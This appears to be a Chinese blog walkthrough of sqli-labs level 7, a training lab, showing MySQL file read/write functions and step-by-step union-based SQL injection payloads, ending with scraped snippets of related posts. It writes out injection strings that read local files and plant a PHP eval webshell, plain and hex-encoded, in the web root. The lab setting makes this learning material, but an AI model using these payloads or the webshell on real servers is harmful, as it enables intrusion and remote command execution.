代码编织梦想

知识点

首先要掌握一下相关的函数和知识点
函数:

load_file()函数    是MySQL读取本地文件的函数(读取)
into outfile()函数  是用来导出文件的(写入)
@@basedir函数  查询当前路径
@@datadir函数  查询数据库安装路径

1.load_file()函数用法
在这里插入图片描述2.into outfile()函数用法
在这里插入图片描述查看一下
在这里插入图片描述3.查询当前路径:

select @@basedir;

在这里插入图片描述4.查询当前MySQL路径:

select @@datadir;

在这里插入图片描述5.解决写入权限问题
在E:\Phpmysql\PHPTutorial\MySQL(mysql根目录中)
打开my.ini
添加一条
secure_file_priv=“D:” //就是将写入的文件放在D盘下面
在这里插入图片描述保存退出
然后重启一下phpstudy

第七关开始

查看源码
在这里插入图片描述发现$id传参的值是被((‘包裹’))
所以闭合字符为((‘’))
但是我们还是要从浏览器上开始

一、判断注入点
判断闭合字符 注释后边的语句

?id=1')) and 1=1 --+ (回显正常)
?id=1')) and 1=2 --+ (回显错误)

在这里插入图片描述证明此关的注入点是’))
查看回显信息就能看出是写入文件的一个注入
二、判断列数

?id=1')) order by 3 --+

在这里插入图片描述三、联合查询

?id=1')) union select 1,2,3 --+

在这里插入图片描述四、进行读取的执行

?id=1')) union select 1,2,load_file("D:\2.txt") into outfile 'D:/3.php' --+ 

读取D盘中的2.txt内容,并将内容写入到D盘下面的3.php

?id=1')) union select 1,2,load_file("D:/2.txt") into outfile 'D:/4.php'--+ 

这条语句要证明/和\在这个语句中没有影响,也不需要转义
在这里插入图片描述在这里插入图片描述在这里插入图片描述五、进行文件写入

?id=1')) union select 1,2,'<?php eval($_POST[cmd]);>' into outfile "d:\ma.php" --+ 

注意:上传一句话木马一定要转成16进制

union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile “D://phpstudy//www//sqli”

在这里插入图片描述在这里插入图片描述在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_46527080/article/details/111086822

插入不重复的数据-爱代码爱编程

import requests as r from bs4 import BeautifulSoup import pymysql as pq url='https://www.shanghairanking.cn/rankings/bcur/202011' req=r.get(url) req.encoding=req.apparent_encodi

搜集整理随机产生人的姓名的2种方法-爱代码爱编程

方法一: import random def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xf9) # 在head区号为55的那一块最后5个汉字是乱码,为了方便缩减下范围 val = f'{head:x}{body:x}'

sqli-labs靶场5-6关(双查询注入)-爱代码爱编程

知识点 双查询注入的知识点 原理:双注入查询需要联合着MYSQL的BUG报错来进行报错注入 BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一错误形式显示出来; 双查询在命令行中直观显示出来 select count(*),concat((select user()),(floor(rand() * 2))) as

sqli-labs靶场8关(布尔盲注)-爱代码爱编程

知识点 函数 ascii()函数 将某个字符串转化为ascii值(webRobot转换工具)ord()函数 将某个字符串转化为ascii值 length()函数 返回字段/结果/函数的长度,length(column_name) length(database()) 即返回当前数据库名长度 substr()函数

sqli-labs靶场9-10关(时间盲注)-爱代码爱编程

知识点 函数 if()函数 条件判断函数 if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c; sleep()函数 网页延迟n秒后,输出结果 left()函数 从左边数,取几个数 例如:left(abcdef,3) 取3位左边的数,就是abc 第九关 源码分析:开

sqli-labs靶场11-12关(基于POST联合查询)-爱代码爱编程

1:GET 2:POST 3:Head 4:Put 5:Delete 6:Connect 7:Options 8:Trace 那么这里是典型的POST注入,那么注入点就是在POST数据中,而POST请求往往代表着用户向服务器提交了大量的数据请求,行为有包括文件上传,表单提交,按钮时间,这里分析是用户的登陆动作,那么肯定要对输入的用户名和密码带入数据库进行查

sqli-labs靶场5-6关(双查询注入)-爱代码爱编程

知识点 双查询注入的知识点 原理:双注入查询需要联合着MYSQL的BUG报错来进行报错注入 BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一错误形式显示出来; 双查询在命令行中直观显示出来 select count(*),concat((select user()),(floor(rand() * 2))) as

sqli-labs靶场1-4关-爱代码爱编程

第一关 判断注入点: ?id=1 回显正常?id=1’ 回显错误可以判断出是基于单引号注入 然后and判断一下 ?id=1’ and 1=1 回显正常?id=1’ and 1=2 回显错误证明存在注入漏洞 则or 相反 ?id=1’ or 1=2 --+ (回显正常) ?id=1’ or 1=1 --+ (回显错误,证明存在注入漏洞)//(暂时没验证)

浅谈PHP反序列化字符逃逸-爱代码爱编程

本文目录 前言0x01 序列化和反序列化serialize()unserialize()0x02 字符逃逸字符变多字符减少总结 前言 最近遇到了这个知识点,网上找了好几篇这方面的好像都不太仔细,自己来总结下 0x01 序列化和反序列化 serialize() 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字

GitHub标星7.3k+,这款程序员代码补全工具,让你的编程效率飞起来!-爱代码爱编程

  今天小编推荐一款代码补全工具,堪称代码神器,他叫TabNine。   TabNine支持23种编程语言、5种编辑器,使用简单,效果惊艳。不少使用过的网友说:TabNine是他们用过的最好的代码补全工具,这是属于程序员的杀手级应用。   在VS Code的扩展商店里,TabNine已经被下载1.3万次,获得全5星好评。 Deep TabNine

sqli-labs靶场13-14关(基于POST双查询)-爱代码爱编程

sqlmap方法 python2 sqlmap.py -u http://127.0.0.1/sqlilabs/Less-13/index.php?id=1 --data "uname=')or('1')=('1 &passwd=')or('1')=('1&submit=Submit" --dbs --threads 10 --batch

Redis优化MySQL-爱代码爱编程

文章目录 1.安装 gcc*2.安装所需要的包3.配置网站 nginx 并启动 nginx4.启动 php 和数据库5.授权,使登录数据库时使用‘123456’密码6.测试网站和 php 的连通性7.安装 redis8.安装提供 php 和 redis 联系的软件9.进入 mysql 插数据10.开启 redis,并编写脚本11.验证 php 访问